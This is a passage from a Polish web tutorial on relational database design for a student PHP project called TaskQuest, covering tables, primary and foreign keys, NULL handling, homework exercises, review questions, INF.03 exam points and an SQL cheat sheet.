<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Decyzja</th><th>Dlaczego</th></tr></thead><tbody><tr><td>nazwy po polsku, <em>snake_case</em></td><td>te same słowa co w PHP i CSV (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>); <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code></td></tr><tr><td>brak kolumn <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul_gracza</code></td><td>obliczane z XP, bo zapisane obok XP mogłyby sobie przeczyć</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> obliczamy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">!== null</code>); jedna kolumna nie może przeczyć sama sobie; daje datę potrzebną do prawdziwego streaka</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> jako klucz główny użytkownika, login <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code></td><td>klucz się nie zmienia, login jest widoczny i mógłby się zmienić</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> już teraz (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>)</td><td>tabelę użytkowników projektujemy raz; hasła od Lekcji 19</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">opis NOT NULL DEFAULT ''</code></td><td>brak opisu to pusty tekst, jak w klasie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">string $opis</code>)</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 17 TaskQuest ma zaprojektowaną i zbudowaną bazę danych: tabelę użytkowników i tabelę zadań połączone relacją 1:N. Każde zadanie ma właściciela, a baza sama pilnuje unikalnych loginów, poprawnych dat, długości tekstów, nieujemnych XP i tego, żeby zadanie nie należało do nieistniejącego użytkownika. Całą strukturę i dane testowe odtwarza jeden skrypt <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> potwierdza, że PHP ma rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. Sama aplikacja działa jeszcze tak jak po Lekcji 15 i czyta CSV. W Lekcji 18 przełączymy ją na bazę.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Zadania nie są częścią wersji referencyjnej. Każde zapisuj w osobnym pliku SQL, żeby nie zepsuć <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<p class="wp-block-paragraph"><strong>A. Odznaki: relacja „wiele do wielu”.</strong> TaskQuest ma przyznawać odznaki („Pierwsza piątka”, „Tydzień bez przerwy”&#8230;). Jeden użytkownik może mieć wiele odznak, a jedną odznakę może mieć wielu użytkowników.</p>



<ol class="wp-block-list">
<li>Dlaczego ani kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaka_id</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki</code> tego nie rozwiąże?</li>



<li>W pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/odznaki.sql</code> zaprojektuj tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa</code> unikalna, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>) i <strong>tabelę pośrednią</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy_odznaki</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaka_id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_zdobycia</code>) z dwoma kluczami obcymi. Klucz główny tabeli pośredniej to <strong>para</strong> kolumn: <code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY (uzytkownik_id, odznaka_id)</code>. Co taki klucz uniemożliwia?</li>



<li>Dodaj 2 odznaki i przyznaj Kamie jedną z nich.</li>



<li>Uruchom teraz ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Co się stało i dlaczego? (Podpowiedź: Eksperyment 1.) Jak musiałby wyglądać początek <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>, gdyby odznaki weszły do projektu?</li>
</ol>



<p class="wp-block-paragraph"><strong>B. Baza pilnuje zakresu XP.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> odrzuca liczby ujemne, ale przepuszcza <code class="prettyprint lang-sql" style="font-size: 0.85em;">500</code>. Sprawdź wersję serwera (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT VERSION();</code>), a potem w kopii definicji tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> dodaj regułę <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK (xp BETWEEN 1 AND 100)</code>. Przetestuj wstawienie zadania z XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">100</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">101</code>. Obowiązkowo sprawdź w dokumentacji MariaDB (albo MySQL, zależnie od wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">VERSION()</code>), od której wersji <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK</code> jest naprawdę <strong>egzekwowane</strong>, a nie tylko akceptowane w składni.</p>



<p class="wp-block-paragraph"><strong>C. Diagram bazy.</strong> phpMyAdmin ma narzędzie <strong>Designer</strong> (w polskim interfejsie: <em>Projektant</em>; baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → <em>Więcej</em>). Otwórz go, ułóż tabele czytelnie i zrób zrzut ekranu. Na diagramie wskaż: klucz główny każdej tabeli, klucz obcy i stronę „1” oraz „N” relacji.</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<p class="wp-block-paragraph">Gdy testy przeszły i wykonane są eksperymenty:</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>,</li>



<li>uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>: baza ma zawierać tylko dane testowe,</li>



<li>sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> i kolejność <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP</code> w pliku są przywrócone (Eksperymenty 1, 2),</li>



<li>sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (działa jak po L15) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (18 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>).</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wymienić trzy problemy CSV, które rozwiązuje baza danych.
&#91; ] Potrafię wyjaśnić na przykładzie TaskQuest: tabela, kolumna, wiersz, klucz główny, klucz obcy.
&#91; ] Wiem, dlaczego klucz obcy uzytkownik_id jest w tabeli zadania, a nie w uzytkownicy.
&#91; ] Potrafię dobrać typ kolumny (INT UNSIGNED, VARCHAR(n), DATE) i zdecydować o NULL / NOT NULL.
&#91; ] Wiem, czym NULL różni się od '' i od 'NULL'.
&#91; ] Potrafię wyjaśnić, dlaczego w bazie nie ma poziomu ani kolumny wykonane.
&#91; ] Mam bazę taskquest (utf8mb4_unicode_ci) i plik sql/taskquest.sql, który działa przy każdym uruchomieniu.
&#91; ] Testy 2–5 kończą się oczekiwanymi błędami (albo wiem, dlaczego u mnie nie).
&#91; ] Potrafię zbudować obiekt Zadanie z wiersza z kolumną data_wykonania (sekcja 6).
&#91; ] diagnostyka.php pokazuje 18 × &#91;OK] i mysqli &#91;OK].
&#91; ] Aplikacja działa jak po Lekcji 15 i wiem, że jeszcze nie korzysta z bazy.
&#91; ] Usunęłam/usunąłem brudnopis.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><p>Kuba i Ola dodają zadanie w tej samej sekundzie. Co może się stać w TaskQuest 1.5 (CSV) i dlaczego w bazie ten problem nie występuje w ten sam sposób?</p></li>



<li><p>Dlaczego zadanie ma kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a użytkownik nie ma kolumny z listą swoich zadań?</p></li>



<li><p>Przewidź wynik każdego polecenia (przyjęty / błąd, jaki?), gdy w bazie są tylko Kama (id 1) i Ola (id 2):<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (2, 'A', '2026-10-01', 5);<br />INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (3, 'B', '2026-10-01', 5);<br />INSERT INTO uzytkownicy (login, imie) VALUES ('ola_tq', 'Ola 2');<br />INSERT INTO uzytkownicy (login, imie) VALUES ('Nowy_1', 'Nowy');<br /></code>Jakie XP i jaki streak będzie miał użytkownik <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code>? Skąd to wiadomo?<span style="color: initial;"></span></p></li>



<li><p>Kolega proponuje dodać do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom INT</code>, „żeby nie liczyć za każdym razem”. Podaj konkretny przykład danych, które wtedy mogą sobie przeczyć, i wskaż, który fragment kodu TaskQuest już ten poziom liczy.</p></li>



<li><p>Czym różnią się dla bazy te trzy wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>? Która oznacza zadanie niewykonane?<span style="color: initial;"></span></p></li>



<li><p>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> jest błąd. Znajdź go (są dwa).<code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania (<br />    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,<br />    uzytkownik_id INT NOT NULL,<br />    tytul VARCHAR(100) NOT NULL,<br />    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE,<br />) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;<br /></code></p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> zaczyna się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS zadania</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">... uzytkownicy</code>? Co by się stało na szkolnym serwerze z prawdziwymi danymi uczniów, gdyby ktoś uruchomił ten skrypt?</p></li>



<li><p>W Lekcji 18 z bazy przyjdzie wiersz <code class="prettyprint lang-sql" style="font-size: 0.85em;">['id' =&gt; 7, 'tytul' =&gt; 'X', ..., 'data_wykonania' =&gt; '2026-09-21', ...]</code>. Napisz fragment tworzenia obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, który ustawia <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>. Czy klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> musi się zmienić? Dlaczego nie?</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. Czy to znaczy, że TaskQuest połączy się z bazą? Czego ta diagnostyka jeszcze nie sprawdza?</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code> z poradnika z 2012 roku nie zadziała w Twoim PHP, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">class_exists('mysqli')</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>? Co w Lekcji 18 napiszesz, żeby utworzyć połączenie</p></li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<p class="wp-block-paragraph"><strong>Baza danych a plik</strong></p>



<ul class="wp-block-list">
<li>W pliku CSV <strong>każda wartość to tekst</strong>, a poprawności pilnuje wyłącznie kod PHP. W bazie każda kolumna ma <strong>typ i reguły</strong>, a baza sama odrzuca to, co ich nie spełnia.</li>



<li>Baza to <strong>druga linia obrony</strong>, a nie pierwsza. Walidacji w PHP nigdy nie usuwamy.</li>
</ul>



<p class="wp-block-paragraph"><strong>Kolumny i wartości</strong></p>



<ul class="wp-block-list">
<li>Definicja kolumny to zawsze: <strong>nazwa – typ – reguły</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to <strong>cztery różne rzeczy</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> = brak wartości, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> = istniejący pusty tekst, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> = napis.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> oznacza tylko „≥ 0”. <strong>Nie pilnuje zakresu</strong> (np. 1–100) — od tego jest walidacja w PHP albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK</code>.</li>



<li>Data w SQL: zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>. Teksty i daty w apostrofach, liczby i <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code> to <strong>maksymalna</strong> długość, nie stała.</li>
</ul>



<p class="wp-block-paragraph"><strong>Klucze i relacje</strong></p>



<ul class="wp-block-list">
<li><strong>Klucz główny</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code>) jednoznacznie wskazuje wiersz: zawsze unikalny i nigdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Kluczem robimy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, a nie login — login jest widoczny i może się zmienić.</li>



<li><strong>Klucz obcy</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY</code>) wskazuje klucz główny innej tabeli. W relacji <strong>1:N klucz obcy zawsze stoi po stronie „N”</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>).</li>



<li>Typ kolumny klucza obcego musi być <strong>zgodny</strong> z typem klucza, na który wskazuje.</li>



<li>Klucze obce działają tylko przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> = usunięcie „rodzica” usuwa powiązane wiersze. Bez tej opcji baza <strong>odmówi</strong> usunięcia rodzica (<code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451</code>).</li>
</ul>



<p class="wp-block-paragraph"><strong>Kolejność poleceń</strong></p>



<ul class="wp-block-list">
<li>Usuwamy od tabel zależnych („N”), tworzymy od niezależnych („1”). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS zadania</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS</code> na początku skryptu pozwala uruchamiać go wiele razy — kosztem <strong>usunięcia wszystkich danych</strong>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Projekt danych</strong></p>



<ul class="wp-block-list">
<li>W bazie zapisujemy tylko to, czego <strong>nie da się obliczyć</strong> z innych danych (dlatego nie ma kolumn <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul_gracza</code>, ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>).</li>



<li>Dwie kolumny opisujące to samo prędzej czy później zaczną sobie przeczyć, a baza nie wie, która kłamie.</li>
</ul>



<p class="wp-block-paragraph"><strong>Kodowanie i porównywanie</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> mieści emoji (4 bajty), <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code> (dawne <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code>) nie — stąd błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1366</code>.</li>



<li>Metoda porównywania <code class="prettyprint lang-sql" style="font-size: 0.85em;">..._ci</code> (<em>case insensitive</em>) nie rozróżnia wielkości liter: przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">KAMA_2026</code> to <strong>ten sam</strong> login.</li>
</ul>



<p class="wp-block-paragraph"><strong>PHP i baza</strong></p>



<ul class="wp-block-list">
<li>Rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code>) zostało <strong>usunięte w PHP 7.0</strong> — kod ze starych poradników nie zadziała.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> – tylko MySQL/MariaDB, dostępne proceduralnie i obiektowo. <code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO</code> – wiele silników baz, tylko obiektowo, parametry nazwane <code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code>. W TaskQuest używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> <strong>obiektowo</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysqli')</code> mówi tylko, że PHP <strong>potrafi</strong> rozmawiać z bazą. Nie sprawdza serwera, danych dostępowych ani istnienia bazy.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<p class="wp-block-paragraph"><strong>Praca w phpMyAdmin (część praktyczna egzaminu):</strong></p>



<ul class="wp-block-list">
<li>utworzyć bazę o <strong>podanej w treści nazwie</strong> i z <strong>podanym zestawem znaków</strong> (w arkuszu: baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">wodospady</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8_unicode_ci</code> — na egzaminie stosuj zapis z polecenia, nawet jeśli różni się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> używanego w TaskQuest),</li>



<li>zaimportować tabele z gotowego pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> i rozpoznać, że import się powiódł,</li>



<li>zapisywać zapytania w pliku tekstowym i dokumentować wynik zrzutem ekranu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Projekt i struktura bazy:</strong></p>



<ul class="wp-block-list">
<li>określić pojęcia: encja, atrybut, związek encji, klucz relacji (u nas: tabela, kolumna, wiersz, klucz główny, klucz obcy),</li>



<li>odczytać z diagramu bazy tabele, klucze i <strong>liczebność relacji</strong>: 1:N oraz m:n realizowaną <strong>tabelą pośredniczącą</strong> (w arkuszu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">obiekty</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">osiagniecia</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">turysci</code>; u nas to zadanie końcowe A z odznakami),</li>



<li>dobrać typ danych do atrybutu i wskazać klucz główny encji,</li>



<li>zdefiniować tabelę poleceniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code> z typami, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY</code>,</li>



<li>wprowadzić dane poleceniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, w tym do tabeli, w której <strong>klucz podstawowy nadawany jest automatycznie</strong> (pomijamy kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li>Szkielet tabeli: <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE nazwa ( kolumna TYP REGUŁY, ... ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code> — <strong>bez przecinka po ostatniej pozycji</strong> (inaczej <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code>).</li>



<li>Klucz główny: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY</code>.</li>



<li>Klucz obcy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE</code> — jako <strong>ostatnia pozycja w nawiasie</strong>, po przecinku.</li>



<li>W relacji 1:N klucz obcy jest po stronie „N”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> ≠ <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> ≠ <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> ≠ <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>.</li>



<li>Data to <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-10-05'</code>. Liczba bez apostrofów. <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> = „≥ 0”, nic więcej.</li>



<li>Tworzymy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>. Usuwamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>.</li>



<li>W bazie zapisujemy tylko dane, których nie da się obliczyć.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> nigdy nie wraca do zwolnionych numerów.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_*</code> nie istnieje od PHP 7. Zostają <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Typy kolumn</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>PHP</th><th>SQL</th><th>Uwaga</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> (nieujemny)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">INT UNSIGNED</code></td><td>zakresu nie pilnuje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> z limitem</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">n</code> = maksimum znaków</td></tr><tr><td>długi tekst</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">TEXT</code></td><td>bez limitu długości w definicji</td></tr><tr><td>data <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code></td><td>baza sprawdza kalendarz</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td>brak osobnego typu</td><td>zwykle <code class="prettyprint lang-sql" style="font-size: 0.85em;">TINYINT(1)</code> albo — jak u nas — kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE NULL</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Reguły kolumn</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL          -- wartość musi być podana
NULL              -- wartość może nie istnieć
DEFAULT 0         -- wartość, gdy jej nie podamy
UNIQUE            -- nie może się powtórzyć w tabeli
UNSIGNED          -- liczba ≥ 0
AUTO_INCREMENT    -- baza sama nadaje kolejne numery
PRIMARY KEY       -- klucz główny</code></pre>



<p class="wp-block-paragraph"><strong>Tabela, klucz obcy, usuwanie</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS zadania;          -- najpierw tabela zależna
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph"><strong>Dane</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- komentarz w SQL (dwa minusy i spacja)
INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

SELECT * FROM zadania;
SELECT * FROM zadania WHERE uzytkownik_id = 2;</code></pre>



<p class="wp-block-paragraph">Apostrof w tekście podwajamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Rock''n''roll'</code>.</p>



<p class="wp-block-paragraph"><strong>Relacja m:n (tabela pośrednicząca)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy_odznaki (
    uzytkownik_id INT UNSIGNED NOT NULL,
    odznaka_id INT UNSIGNED NOT NULL,
    data_zdobycia DATE NOT NULL,
